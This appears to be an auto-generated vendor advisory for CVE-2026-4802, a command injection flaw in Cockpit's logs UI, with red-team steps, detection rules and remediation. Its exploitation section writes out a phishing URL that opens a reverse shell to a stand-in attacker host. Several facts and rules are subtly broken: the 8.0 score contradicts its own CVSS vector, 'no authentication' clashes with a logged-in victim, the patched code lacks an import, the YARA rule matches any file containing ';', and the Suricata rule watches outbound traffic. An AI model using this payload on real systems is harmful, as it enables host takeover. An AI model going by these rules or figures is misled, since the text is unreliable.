CVE-2026-4802
Executive Summary
CVE-2026-4802 is a critical command injection vulnerability in the Cockpit project, a web-based server management interface. The flaw resides in the system logs user interface (UI), where user-controlled parameters within crafted links are not properly sanitized. An attacker can inject shell metacharacters and command substitutions into these parameters, leading to arbitrary command execution on the host system. With a CVSS score of 8.0, this vulnerability poses a severe risk, potentially allowing complete system compromise. No patch is currently available, and no public proof-of-concept (PoC) or exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cockpit is a system administration tool commonly distributed via Linux package managers (e.g., apt, yum, dnf) and as a container image. The vulnerability affects the core Cockpit package, not a specific language ecosystem (NPM, PyPI, Go, Ruby). However, organizations using Cockpit in containerized environments should monitor for updates to the base image.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Base Score: 8.0 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
- User Interaction: Required (UI:R) – The victim must click a crafted link.
- Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
- Confidentiality Impact: High (C:H) – Full system read access.
- Integrity Impact: High (I:H) – Full system write access.
- Availability Impact: High (A:H) – Full system disruption.
Threat Level: Critical. The combination of remote exploitation, low complexity, and high impact makes this a top-priority vulnerability for patching and monitoring.
Deep Dive & Mechanics
The vulnerability exists in the Cockpit system logs UI, which processes user-controlled parameters from crafted links. The core issue is a lack of input sanitization in the handling of these parameters, allowing an attacker to inject shell metacharacters (e.g., ;, |, $(), `) and command substitutions.
Attack Flow:
- An attacker crafts a malicious link containing shell metacharacters in a parameter (e.g.,
?param=$(malicious_command)). - The victim (typically an administrator) clicks the link while logged into Cockpit.
- Cockpit’s system logs UI processes the parameter without sanitization.
- The injected command is executed on the host system with the privileges of the Cockpit process (typically root or a privileged user).
- The attacker gains arbitrary command execution, leading to full system compromise.
Root Cause: The vulnerability is due to improper neutralization of special elements used in an OS command (CWE-78). The code likely passes user input directly to a shell command (e.g., via system(), popen(), or similar) without escaping or validation.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (Conceptual):
# Vulnerable: Directly using user input in a shell command
import subprocess
def view_logs(param):
command = f"grep '{param}' /var/log/syslog"
subprocess.call(command, shell=True)
Patched Code (Conceptual):
# Patched: Using subprocess with argument list to avoid shell injection
import subprocess
def view_logs(param):
# Validate and sanitize input
if not re.match(r'^[a-zA-Z0-9_\-]+$', param):
raise ValueError("Invalid parameter")
command = ["grep", param, "/var/log/syslog"]
subprocess.call(command, shell=False)
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running Cockpit (any version).
- A victim user logged into Cockpit.
- Ability to deliver a crafted link (e.g., via email, social engineering, or a compromised website).
Exploitation Steps:
- Craft a malicious URL:
https://target-cockpit:9090/system/logs?param=$(id) - Deliver the link to the victim (e.g., via phishing email).
- When the victim clicks the link, the command
idis executed on the host. - To achieve a reverse shell, use:
https://target-cockpit:9090/system/logs?param=$(bash -i >& /dev/tcp/attacker-ip/4444 0>&1)
Note: No public exploit code is available. The above is a conceptual example.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual parameters in Cockpit URLs (e.g.,
$(,`,;). - Deploy WAF rules to block shell metacharacters in query parameters.
- Enable detailed logging of Cockpit access and system command execution.
Hunting:
- Search for processes spawned by Cockpit that contain shell metacharacters.
- Look for outbound connections from the Cockpit host to unknown IPs (potential reverse shells).
Lab Setup:
- Use a vulnerable Cockpit version in an isolated environment.
- Simulate the attack by crafting malicious URLs and monitoring system logs.
Indicators of Compromise (IOCs)
- Network:
- URLs containing shell metacharacters (e.g.,
$(,;,|) in Cockpit paths. - Outbound connections from the Cockpit host to suspicious IPs on common reverse shell ports (4444, 5555, etc.).
- URLs containing shell metacharacters (e.g.,
- Host:
- Unexpected processes spawned by the Cockpit user (e.g.,
bash,sh,nc). - Unusual entries in
/var/log/syslogor Cockpit logs. - Modified system files or new user accounts.
- Unexpected processes spawned by the Cockpit user (e.g.,
- File:
- Temporary files created by injected commands (e.g.,
/tmp/*.sh).
- Temporary files created by injected commands (e.g.,
Detection Engineering
YARA Rule
rule CVE_2026_4802_Cockpit_Command_Injection {
meta:
description = "Detects potential command injection attempts in Cockpit logs"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-4802"
strings:
$shell_meta1 = "$("
$shell_meta2 = "`"
$shell_meta3 = ";"
$shell_meta4 = "|"
$shell_meta5 = "&"
condition:
any of ($shell_meta*) and filesize < 10KB
}
Sigma Rule
title: Cockpit Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential command injection in Cockpit system logs UI
author: Valters IT
date: 2026-01-01
references:
- CVE-2026-4802
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "$("
- "`"
- ";"
- "|"
- "&"
condition: selection
falsepositives:
- Legitimate use of special characters in log queries (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-4802 Cockpit Command Injection Attempt"; flow:to_server,established; content:"/system/logs"; http_uri; pcre:"/(\$\(|`|;|\||&)/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Cockpit if not essential:
systemctl stop cockpit && systemctl disable cockpit. - Restrict access to Cockpit via firewall (e.g., allow only trusted IPs).
- Implement a Web Application Firewall (WAF) to block shell metacharacters in URLs.
- Monitor logs for suspicious activity (see IOCs).
Long-term Fix:
- Await an official patch from the Cockpit project.
- Apply input validation and output encoding in custom integrations.
- Use parameterized commands instead of shell execution.
Workaround:
- If Cockpit must remain active, consider proxying it through a reverse proxy with strict input validation.
Valters IT